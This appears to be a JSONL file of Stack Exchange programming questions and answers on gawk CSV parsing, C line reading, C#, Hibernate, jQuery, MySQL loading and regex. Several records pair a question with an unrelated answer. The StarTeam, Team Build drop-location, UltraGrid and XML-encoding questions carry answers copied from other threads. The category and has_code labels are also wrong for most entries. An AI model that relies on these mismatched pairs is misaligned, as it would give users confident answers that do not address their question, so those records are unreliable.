{"id": "hf_aff2d45068f1", "question": "<p>How do you parse a CSV file using gawk?  Simply setting <code>FS=\",\"</code> is not enough, as a quoted field with a comma inside will be treated as multiple fields.</p>\n\n<p>Example using <code>FS=\",\"</code> which does not work:</p>\n\n<p>file contents:</p>\n\n<pre><code>one,two,\"three, four\",five\n\"six, seven\",eight,\"nine\"\n</code></pre>\n\n<p>gawk script:</p>\n\n<pre><code>BEGIN { FS=\",\" }\n{\n  for (i=1; i&lt;=NF; i++) printf \"field #%d: %s\\n\", i, $(i)\n  printf \"---------------------------\\n\"\n}\n</code></pre>\n\n<p>bad output:</p>\n\n<pre><code>field #1: one\nfield #2: two\nfield #3: \"three\nfield #4:  four\"\nfield #5: five\n---------------------------\nfield #1: \"six\nfield #2:  seven\"\nfield #3: eight\nfield #4: \"nine\"\n---------------------------\n</code></pre>\n\n<p>desired output:</p>\n\n<pre><code>field #1: one\nfield #2: two\nfield #3: \"three, four\"\nfield #4: five\n---------------------------\nfield #1: \"six, seven\"\nfield #2: eight\nfield #3: \"nine\"\n---------------------------\n</code></pre>\n", "question_body": "", "answer": "Here's what I came up with.  Any comments and/or better solutions would be appreciated.\n```\n```\nBEGIN { FS=\",\" }\n{\n  for (i=1; i<=NF; i++) {\n    f[++n] = $i\n    if (substr(f[n],1,1)==\"\\\"\") {\n      while (substr(f[n], length(f[n]))!=\"\\\"\" || substr(f[n], length(f[n])-1, 1)==\"\\\\\") {\n        f[n] = sprintf(\"%s,%s\", f[n], $(++i))\n      }\n    }\n  }\n  for (i=1; i<=n; i++) printf \"field #%d: %s\\n\", i, f[i]\n  print \"----------------------------------\\n\"\n}\n```\n```\nThe basic idea is that I loop through the fields, and any field which starts with a quote but does not end with a quote gets the next field appended to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.213379"}
{"id": "hf_677ef654bd91", "question": "<p>What is the simplest way to read a full line in a C console program\nThe text entered might have a variable length and we can't make any assumption about its content.</p>\n", "question_body": "", "answer": "You need dynamic memory management, and use the\n```\nfgets\n```\nfunction to read your line. However, there seems to be no way to see how many characters it read. So you use fgetc:\n```\n```\nchar * getline(void) {\n    char * line = malloc(100), * linep = line;\n    size_t lenmax = 100, len = lenmax;\n    int c;\n\n    if(line == NULL)\n        return NULL;\n\n    for(;;) {\n        c = fgetc(stdin);\n        if(c == EOF)\n            break;\n\n        if(--len == 0) {\n            len = lenmax;\n            char * linen = realloc(linep, lenmax *= 2);\n\n            if(linen == NULL) {\n                free(linep);\n                return NULL;\n            }\n            line = linen + (line - linep);\n            linep = linen;\n        }\n\n        if((*line++ = c) == '\\n')\n            break;\n    }\n    *line = '\\0';\n    return linep;\n}\n```\n```\nNote\n: Never use gets ! It does not do bounds checking and can overflow your buffer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.261363"}
{"id": "hf_e7b8e3cdd159", "question": "<p>Why use a GlobalClass? What are they for? I have inherited some code (shown below) and as far as I can see there is no reason why strUserName needs this. What is all for?</p>\n\n<pre><code>public static string strUserName\n    {\n        get { return m_globalVar; }\n        set { m_globalVar = value; }\n    }\n</code></pre>\n\n<p>Used later as:</p>\n\n<pre><code>GlobalClass.strUserName\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "When you want to use a\nstatic\nmember of a type, you use it like\n```\nClassName.MemberName\n```\n. If your code snippet is in the same class as the member you're referring (in this example, you're coding in a GlobalClass member, and using strUserName) you\ncan\nomit the class name. Otherwise, it's required as the compiler wouldn't have any knowledge of what class you're referring to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.314348"}
{"id": "hf_2a0ecb8039d6", "question": "<p>How can I go through each of the properties in my custom object? It is not a collection object, but is there something like this for non-collection objects?</p>\n\n<pre><code>For Each entry as String in myObject\n    ' Do stuff here...\nNext\n</code></pre>\n\n<p>There are string, integer and boolean properties in my object.</p>\n", "question_body": "", "answer": "By using reflection you can do that. In C# it looks like that;\n```\n```\nPropertyInfo[] propertyInfo = myobject.GetType().GetProperties();\n```\n```\nAdded a VB.Net translation:\n```\n```\nDim info() As PropertyInfo = myobject.GetType().GetProperties()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.367239"}
{"id": "hf_32898534714e", "question": "<p>I am using Visual Studio 2005 and StarTeam 2008 (cross-platform client and VS integration). At some point, I added an 'App.config' to a project. I notice now that this file will not check-in.</p>\n\n<ol>\n<li><p>The 'StarTeam Pending Checkins' window in VS reports the file 'Not in View'. Selecting it for check in and clicking 'Check In Files' causes a dialog to appear - 'Any operation... requires completing the pending renames/deletes'. I click 'Yes' to proceed and nothing happens.</p></li>\n<li><p>The StarTeam client reports this file as 'Modified'. If I check-in from the client, I get no 'complete pending renames/deletes' dialog and the file quickly appears with a 'Current' status.</p></li>\n<li><p>Refreshing StarTeam from VS, I still see the file as 'Not in View'.</p></li>\n</ol>\n\n<p>I have tried forcing the check-in. I completely removed my working files and pulled the solution fresh in hopes that the StarTeam status ('Current') would apply in VS.</p>\n", "question_body": "", "answer": "By using reflection you can do that. In C# it looks like that;\n```\n```\nPropertyInfo[] propertyInfo = myobject.GetType().GetProperties();\n```\n```\nAdded a VB.Net translation:\n```\n```\nDim info() As PropertyInfo = myobject.GetType().GetProperties()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.391706"}
{"id": "hf_d0e7ac72e7b3", "question": "<p>If you call a web service from Silverlight like this:</p>\n\n<pre><code>MyServiceClient serviceClient = new MyServiceClient();\nvoid MyMethod()\n{\n  serviceClient.GetDataCompleted += new EventHandler&lt;GetDataCompletedEventArgs&gt;(serviceClient_GetDataCompleted);\n  serviceClient.GetDataAsync();\n\n  // HOW DO I WAIT/JOIN HERE ON THE ASYNC CALL, RATHER THAN BEING FORCE TO LEAVE THIS METHOD?\n\n}\n</code></pre>\n\n<p>I would rather wait/join with the asych service thread inside \"MyMethod\" rather than leaving \"MyMethod\" after calling \"GetDataAsync\", what is the best way to do this?</p>\n\n<p>Thanks,\nJeff</p>\n", "question_body": "", "answer": "To do this you would use a\nManualResetEvent\nin your class (class level variable) and then wait on it.\n```\n```\nvoid MyMethod()\n{\n  wait = new ManualResetEvent(false);\n  // call your service\n  wait.WaitOne();\n  // finish working\n}\n```\n```\nand in your event handler code\n```\n```\nvoid serviceClient_GetDataCompleted(...)\n{\n  // Set values you need from service\n  wait.Set();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.415820"}
{"id": "hf_64cfa62a78ac", "question": "<p>In Team Build 2008, the Drop Location for a build is no longer specified in the .proj file, and instead is stored in the database and maintained in the GUI tool.</p>\n\n<p>The GUI tool only accepts a network path as a drop location (i.e. \\\\server\\share) and will not accept a local path.</p>\n\n<p>Our build server also hosts the dropped files, so it seems that forcing a file copy operation to go through the network share introduces a lot of lag time when copying a large number of files. I would like to override this feature so that I can specify a local directory for drop location, but I can't figure out how.</p>\n", "question_body": "", "answer": "The connections only seem to stay in the pool and not being reused in case you get an exception, just like the example. If you increase the timeout the connection will be reused.\nA workaround to this problem is to clear the connection pool in case you get an exception like this:\n```\n```\nusing (SqlConnection con = new SqlConnection(connectionString))\n{\n    con.Open();\n    try\n    {\n        Console.WriteLine(\"Server is {0}\", con.ServerVersion);\n        Console.WriteLine(\"Clr is {0}\", Environment.Version);\n        for (int i = 0; i < 5; i++)\n        {\n            using (SqlCommand cmd = con.CreateCommand())\n            {\n                cmd.CommandText = \"insert into TXTEST values ( \" + i + \" )\";\n                cmd.ExecuteNonQuery();\n            }\n            Console.WriteLine(\"Row inserted\");\n        }\n        Thread.Sleep(TimeSpan.FromSeconds(1));\n    }\n    catch\n    {\n        SqlConnection.ClearPool(con);\n        throw;\n    }\n}\n```\n```\nIn most cases the transaction will complete within the timeout and everything will be fine and dandy. When the transaction\nactually do\ntimeout you clear the pool in order to clean up the dirty connections that won't get reused. This will of course affect other connections in the pool that isn't affected by this problem.\nThis is a ugly workaround but it seems to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.474868"}
{"id": "hf_f3c6e87e2cc3", "question": "<p>Is there an easy way to generate an array containing the letters of the alphabet in C#? It's not too hard to do it by hand, but I was wondering if there was a built in way to do this. </p>\n", "question_body": "", "answer": "I don't think there is a built in way, but I think the easiest would be\n```\n```\nchar[] alpha = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\".ToCharArray();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.511276"}
{"id": "hf_42a8675af12d", "question": "<p>I'm looking for articles, forum or blog posts dealing with SharePoint and thread safety? I'm quite sure there are some special aspects regarding thread safety that have to be considered when working with the SharePoint object model.</p>\n\n<p>Actually I didn't find many information about this, yet.</p>\n\n<p>So I'm looking forward to your answers.   </p>\n\n<p>Bye,\nFlo</p>\n", "question_body": "", "answer": "There are much worse pitfalls in the SharePoint OM than just plain old thread safety. Pay particular attention to working with objects retrieved from properties. You should\nalways\nkeep a pointer to an object while you work on it; example:\n```\n```\nvar list = web.List[\"MyList\"]\nlist.Items[0][\"Field1\"] = \"foo\"\nlist.Items[0][\"Field2\"] = \"bar\"\nlist.Items[0].Update() // nothing is updated!\n```\n```\nYou might expect Field1 and Field2 to be updated by the final Update() call, but nope. Each time you use the indexer, a NEW reference to the SPListItem is returned.\nCorrect way:\n```\n```\nSPListItem item = list.Items[0]\nitem[\"Field1\"] = \"foo\"\nitem[\"Field2\"] = \"bar\"\nitem.Update() // updated!\n```\n```\nJust a start. Also google for pitfalls around the IDisposabe/Dispose pattern.\n-Oisin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.534759"}
{"id": "hf_128974ea98f8", "question": "<p>I am fetching data in  from an SQL table using a DataSet in VB.Net. When there is data in table, it displays the data properly in the grid, but when there is no data in the table, it only shows the UltraGrid's basic view.</p>\n\n<p>How can I display the column names of the table as headings of the UltraGrid even when there is no data in Table?</p>\n\n<hr>\n\n<p>Thanks for the reply, but I think the problem that JD is having is a bit different from mine - in my application the data got fetched properly from SQL Server. My problem is that when there is no data in the table, I want to display the columns of the table as the headings of the grid with 0 rows. This is not happening.</p>\n\n<p>It just shows a message box saying that no data is found, and the UltraGrid shows as it does by default in the application.</p>\n", "question_body": "", "answer": "Have you checked to make sure that the Active Directory change has propagated to TFS?  I've seen issues before where users information is changed and TFS doesn't pick up the change and gets confused about your user.\nAlso take a look at the following blog post.  It details how to sync up TFS with a user name change in Active Directory\nhttp://blogs.msdn.com/teams_wit_tools/archive/2007/03/15/handling-display-name-changes-in-team-foundation-server.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.572023"}
{"id": "hf_05698969d9d4", "question": "<p>I've got an array of <code>char*</code> in a file. \nThe company I work for stores data in flat files.. Sometimes the data is sorted, but sometimes it's not. \nI'd like to sort the data in the files.</p>\n\n<p>Now I could write the code to do this, from scratch. \nIs there an easier way? </p>\n\n<p>Of course an in-place sort would be the best option. I'm working on large files and have little RAM. But I'll consider all options. </p>\n\n<p>All strings are the same length. </p>\n\n<p>This is some sample data:</p>\n\n<pre><code>the data is of fixed length\nthe Data is of fixed length\nthIS data is of fixed lengt\n</code></pre>\n\n<p>This would represent three records of length 28. The app knows the length. Each record ends with CRLF (<code>\\r\\n</code>), though it shouldn't matter for this sort. </p>\n", "question_body": "", "answer": "```\n```\ntemplate<size_t length> int less(const char* left, const char* right) {\n    return memcmp(left, right, length) < 0;\n}\n\nstd::sort(array, array + array_length, less<buffer_length>);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.600081"}
{"id": "hf_9439518861e5", "question": "<p>I have an xml web service which I use at work to make a request to. This request, an xml document, includes information such as recipients, subject, body, etc (as a newsletter would contain).</p>\n\n<p>I have an ASP.NET form to enter the above information to, to form the Xml document, and I can type foreign characters (non latin - Japanese, Chinese, Russian etc).</p>\n\n<p>If I step through my code, the foreign characters are displayed ok. The xml has an encoding of utf-8 and I load the strings into the attributes of my xml document so I shouldn't need to do anything at a string level with encoding.</p>\n\n<p>I am on webmail because of an unrelated technical matter, but my boss has Outlook 2007 Pro and hasn't got an email with a foreign text subject line. However, if the xml is manually posted via the internal test harness, as opposed to the .NET way of methods/variables (OOP) etc, it will work. So there is a failing in .NET somewhere.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "```\n```\ntemplate<size_t length> int less(const char* left, const char* right) {\n    return memcmp(left, right, length) < 0;\n}\n\nstd::sort(array, array + array_length, less<buffer_length>);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.624197"}
{"id": "hf_f201a67f145b", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/1759352/how-do-i-mark-a-method-as-obsolete-deprecated-c-sharp\">How do I mark a method as Obsolete/Deprecated? - C#</a>  </p>\n</blockquote>\n\n\n\n<p>How do you mark a class as deprecated? I do not want to use a class any more in my project, but do not want to delete it before a period of 2 weeks.</p>\n", "question_body": "", "answer": "You need to use the\n```\n[Obsolete]\n```\nattribute.\nExample:\n```\n```\n[Obsolete(\"Not used any more\", true)]\npublic class MyDeprecatedClass\n{\n    //...\n}\n```\n```\nThe parameters are optional. The first parameter is for providing the reason it's obsolete, and the last one is to throw an error at compile time instead of a warning.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.659881"}
{"id": "hf_4bec97755278", "question": "<p>When obtaining the DPI for the screen under Windows (by using ::GetDeviceCaps) will the horizontal value always be the same as the vertical?  For example:</p>\n\n<pre><code>HDC dc = ::GetDC(NULL);\nconst int xDPI = ::GetDeviceCaps(dc, LOGPIXELSX);\nconst int yDPI - ::GetDeviceCaps(dc, LOGPIXELSY);\nassert(xDPI == yDPI);\n::ReleaseDC(NULL, dc);\n</code></pre>\n\n<p>Are these values ever different?</p>\n", "question_body": "", "answer": "I have never seen them be different, but on\nthis\nMSDN page I see a comment that suggests that they might be:\n```\n```\nint nHorz = dc.GetDeviceCaps(LOGPIXELSX);\n   int nVert = dc.GetDeviceCaps(LOGPIXELSY);\n\n   // almost always the same in both directions, but sometimes not!\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.711380"}
{"id": "hf_9b1d3ca4cf15", "question": "<p>I'm code reviewing a change one of my co-workers just did, and he added a bunch of calls to <code>Date.toMonth()</code>, <code>Date.toYear()</code> and other deprecated <code>Date</code> methods.  All these methods were deprecated in JDK 1.1, but he insists that it's ok to use them because they haven't gone away yet (we're using JDK 1.5) and I'm saying they might go away any day now and he should use <code>Calendar</code> methods.</p>\n\n<p>Has Sun/Oracle actually said when these things are going away, or does <code>@deprecated</code> just mean you lose style points?</p>\n", "question_body": "", "answer": "They're not going away.  That said, they're usually deprecated because a) they're dangerous ala Thread.stop(), or b) there is a better or at least more accepted way to do it.  Usually deprecated method javadoc will give you a hint as to the better way.  In your case, Calendar is the recommended way to do this.\nWhile it's conceivable that they will be removed at some point in the future, I wouldn't bet on it.  If anyone ever forks Java however, they'll probably be the first thing to go...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.734726"}
{"id": "hf_694a05a020ab", "question": "<p>In Linqtosql how do I show items from multiple rows in a single field.</p>\n\n<p>eg I have a 3 table setup for tagging(entity, tag, entitytag) all linked via foreign keys.</p>\n\n<p>For each entity I would like to return the name in one field and then all relevant tags in 2nd field.</p>\n\n<p>eg Item1, tag1; tag2; tag3\n   Item2, tag4, tag5....</p>\n\n<p>VB statements preferred.</p>\n\n<p>Thanks\nGeoff</p>\n", "question_body": "", "answer": "Okay, not sure if this is the most efficient way but it works.\n```\n```\nDim dc As New DataContext\n\nDim query = From i In dc.Items _\n            Let tags = (From t In dc.ItemTags _\n                        Where t.ItemID = i.ID _\n                        Select t.Tag.Name).ToArray _\n            Select i.ItemName, Tags = String.Join(\" | \", tags)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.793158"}
{"id": "hf_ed28a8fcc98d", "question": "<p>I'm trying to use route constraints in an Asp.Net MVC Application. </p>\n\n<pre><code>routes.MapRoute(\n    \"theRoute\",\n    \"MyAction/{page}\",\n    new { controller = \"TheController\", action = \"MyAction\", page = 1 },\n    new { page = @\"[0-9]\" });\n</code></pre>\n\n<p>When I enter an url like ~/MyAction/aString, an YSOD is shown with an invalid operation exception. What can I do to redirect invalid url to the 404 page?</p>\n\n<p>I know I can solve the issue with a string parameter in the controller action and int.TryParse, but then the route constaint is useless.</p>\n\n<p>How can I choose the exceptiontype that is thrown by the route constraints?</p>\n", "question_body": "", "answer": "The problem is that you do not have a route that matches the route that ends in a string.\nModify your routes similar to:\n```\n```\nroutes.MapRoute(\n    \"Default\",                                              // Route name\n    \"{controller}/{action}/{id}\",                           // URL with parameters\n    new { controller = \"Home\", action = \"Index\", id = 0 },\n    new { id = \"[0-9]\" }// Parameter defaults\n);\nroutes.MapRoute(\n    \"Default2\",                                              // Route name\n    \"{controller}/{action2}/{sid}\",                           // URL with parameters\n    new { controller = \"Home\", action = \"Index2\", sid = \"\" }  // Parameter defaults\n);\n```\n```\nand modify your controller\n```\n```\npublic ActionResult Index(int id)\n    {\n        ViewData[\"Title\"] = \"Home Page\";\n        ViewData[\"Message\"] = \"Welcome to ASP.NET MVC! Your id is: \"+ id.ToString();\n\n        return View();\n    }\n\n    public ActionResult Index2(string sid)\n    {\n        ViewData[\"Title\"] = \"Home Page 2.\"+sid.ToString();\n        ViewData[\"Message\"] = \"Welcome to ASP.NET MVC! \\\"\" + sid.ToString() +\"\\\" is an invalid id\";\n\n        return View(\"index\");\n    }\n```\n```\nnow when you pass a string for the ID, Index2 will be called and you can do whatever you need to do to handle the incorrect parameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.816164"}
{"id": "hf_fc456a4d7a56", "question": "<p>Can somebody please give me an example of a unidirectional @OneToOne primary-key mapping in Hibernate ? I've tried numerous combinations, and so far the best thing I've gotten is this :</p>\n\n<pre><code>@Entity\n@Table(name = \"paper_cheque_stop_metadata\")\n@org.hibernate.annotations.Entity(mutable = false)\npublic class PaperChequeStopMetadata implements Serializable, SecurityEventAware {\n\nprivate static final long serialVersionUID = 1L;\n\n@Id\n@JoinColumn(name = \"paper_cheque_id\")\n@OneToOne(cascade = {}, fetch = FetchType.EAGER, optional = false, targetEntity = PaperCheque.class)\nprivate PaperCheque paperCheque;\n}\n</code></pre>\n\n<p>Whenever Hibernate tries to automatically generate the schema for the above mapping, it tries to create the primary key as a blob, instead of as a long, which is the id type of PaperCheque.  Can somebody please help me ?  If I can't get an exact solution, something close would do, but I'd appreciate any response.</p>\n", "question_body": "", "answer": "I saved\nthis discussion\nwhen I implemented a couple of @OneToOne mappings, I hope it can be of use to you too, but we don't let Hibernate create the database for us.\nNote the GenericGenerator annotation.\nAnyway, I have this code working:\n```\n```\n@Entity\n@Table(name = \"message\")\npublic class Message implements java.io.Serializable\n{\n    @OneToOne(cascade = CascadeType.ALL, fetch = FetchType.LAZY)\n    @PrimaryKeyJoinColumn(name = \"id\", referencedColumnName = \"message_id\")\n    public MessageContent getMessageContent()\n    {\n        return messageContent;\n    }\n}\n\n@Entity\n@Table(name = \"message_content\")\n@GenericGenerator(name = \"MessageContent\", strategy = \"foreign\",\n    parameters =\n    {\n      @org.hibernate.annotations.Parameter\n      (\n        name = \"property\", value = \"message\"\n      )\n    }\n)\npublic class MessageContent implements java.io.Serializable\n{\n    @Id\n    @Column(name = \"message_id\", unique = true, nullable = false)\n    // See http://forum.hibernate.org/viewtopic.php?p=2381079\n    @GeneratedValue(generator = \"MessageContent\")\n    public Integer getMessageId()\n    {\n            return this.messageId;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.870644"}
{"id": "hf_5026b54de3c6", "question": "<p>I have written a program in C to parse large XML files and then create files with insert statements.  Some other process would ingest the files into a MySQL database. \nThis data will serve as a indexing service so that users can find documents easily.</p>\n\n<p>I have chosen InnoDB for the ability of row-level locking.  The C program will be generating any where from 500 to 5 million insert statements on a given invocation.</p>\n\n<p>What is the best way to get all this data into the database as quickly as possible?  The other thing to note is that the DB is on a separate server.  Is it worth moving the files over to that server to speed up inserts?</p>\n\n<p>EDIT:  This table won't really be updated, but rows will be deleted.    </p>\n", "question_body": "", "answer": "I'd do at least these things according to\nthis link\n:\nMove the files there and connect over the unix socket\nGenerate, instead of the INSERTS, a\nLOAD DATA INFILE\nfile\nDisabling indexes during the loading", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.955751"}
{"id": "hf_0bddefe70eb0", "question": "<p>I have a bunch of generic interfaces and classes</p>\n\n<pre><code>public interface IElement {\n// omited\n}\n\nclass Element implements IElement {\n// omited\n}\n\npublic interface IElementList&lt;E extends IElement&gt;  extends Iterable {\n   public Iterator&lt;E&gt; iterator();\n}\n\nclass ElementList implements IElementList&lt;Element&gt; {\n\n    public Iterator&lt;Element&gt; iterator() {\n       // omited\n       }\n}\n\n\npublic interface IElementListGroup&lt;E extends IElementList&lt;? extends IElement&gt;&gt; {\n    public E getChosenElementList();\n}\n\n\nclass ElementListGroup implements IElementListGroup&lt;ElementList&gt; {\n    public ElementList getChosenElementList() {\n        // omited\n    }\n}\n</code></pre>\n\n<p>And then a simple code</p>\n\n<pre><code>ElementListGroup group;\n\nfor(Element e : group.getChosenElementList())\n{\n // omited\n}\n</code></pre>\n\n<p>And the line with for keyword throwe a \"cannot convert from element type Object to Element\" compiler error.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "```\nIElementList\n```\nneeds to implement\n```\nIterable<E>\n```\n. Otherwise, the interface specifies\n```\nIterator iterator()\n```\n, not\n```\nIterator<E> iterator()\n```\n. This makes the compiler think that you're iterating over\n```\nObject\n```\ns.\nI made this change, and it compiled fine (after adding some null returns).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:26.991050"}
{"id": "hf_97557f2520f7", "question": "<p>If you know the Index, Value or Text. also if you don't have an ID for a direct reference.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/149573/check-if-option-is-selected-with-jquery-if-not-select-a-default#149820\">This</a>, <a href=\"https://stackoverflow.com/questions/196684/jquery-get-select-option-text#196687\">this</a> and <a href=\"https://stackoverflow.com/questions/47824/using-core-jquery-how-do-you-remove-all-the-options-of-a-select-box-then-add-on#47829\">this</a> are all helpful answers.</p>\n\n<p>Example markup</p>\n\n<pre><code>&lt;div class=\"selDiv\"&gt;\n  &lt;select class=\"opts\"&gt;\n    &lt;option selected value=\"DEFAULT\"&gt;Default&lt;/option&gt;\n    &lt;option value=\"SEL1\"&gt;Selection 1&lt;/option&gt;\n    &lt;option value=\"SEL2\"&gt;Selection 2&lt;/option&gt;\n  &lt;/select&gt;\n&lt;/div&gt;\n</code></pre>\n", "question_body": "", "answer": "Answering my own question for documentation. I'm sure there are other ways to accomplish this, but this works and this code is tested.\n```\n```\n<html>\n<head>\n<script language=\"Javascript\" src=\"javascript/jquery-1.2.6.min.js\"></script>\n<script type=\"text/JavaScript\">\n\n$(function() {\n    $(\".update\").bind(\"click\",      // bind the click event to a div\n        function() {\n            var selectOption = $('.selDiv').children('.opts') ;\n            var _this = $(this).next().children(\".opts\") ;\n\n            $(selectOption).find(\"option[index='0']\").attr(\"selected\",\"selected\");\n//          $(selectOption).find(\"option[value='DEFAULT']\").attr(\"selected\",\"selected\");\n//          $(selectOption).find(\"option[text='Default']\").attr(\"selected\",\"selected\");\n\n//          $(_this).find(\"option[value='DEFAULT']\").attr(\"selected\",\"selected\");\n//          $(_this).find(\"option[text='Default']\").attr(\"selected\",\"selected\");\n//          $(_this).find(\"option[index='0']\").attr(\"selected\",\"selected\");\n\n    }); // END Bind\n}); // End eventlistener\n\n</script>\n</head>\n<body>\n<div class=\"update\" style=\"height:50px; color:blue; cursor:pointer;\">Update</div>\n<div class=\"selDiv\">\n        <select class=\"opts\">\n            <option selected value=\"DEFAULT\">Default</option>\n            <option value=\"SEL1\">Selection 1</option>\n            <option value=\"SEL2\">Selection 2</option>\n        </select>\n    </div>\n</body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.051299"}
{"id": "hf_42bbd68c0621", "question": "<p>I'm trying to get a regex that will match:</p>\n\n<pre><code>somefile_1.txt\nsomefile_2.txt\nsomefile_{anything}.txt\n</code></pre>\n\n<p>but not match:</p>\n\n<pre><code>somefile_16.txt\n</code></pre>\n\n<p>I tried</p>\n\n<pre><code>somefile_[^(16)].txt\n</code></pre>\n\n<p>with no luck (it includes even the \"16\" record)</p>\n", "question_body": "", "answer": "Some regex libraries allow lookahead:\n```\n```\nsomefile(?!16\\.txt$).*?\\.txt\n```\n```\nOtherwise, you can still use multiple character classes:\n```\n```\nsomefile([^1].|1[^6]|.|.{3,})\\.txt\n```\n```\nor, to achieve maximum portability:\n```\n```\nsomefile([^1].|1[^6]|.|....*)\\.txt\n```\n```\n```\n[^(16)]\n```\nmeans: Match any character but braces, 1, and 6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:27.082710"}
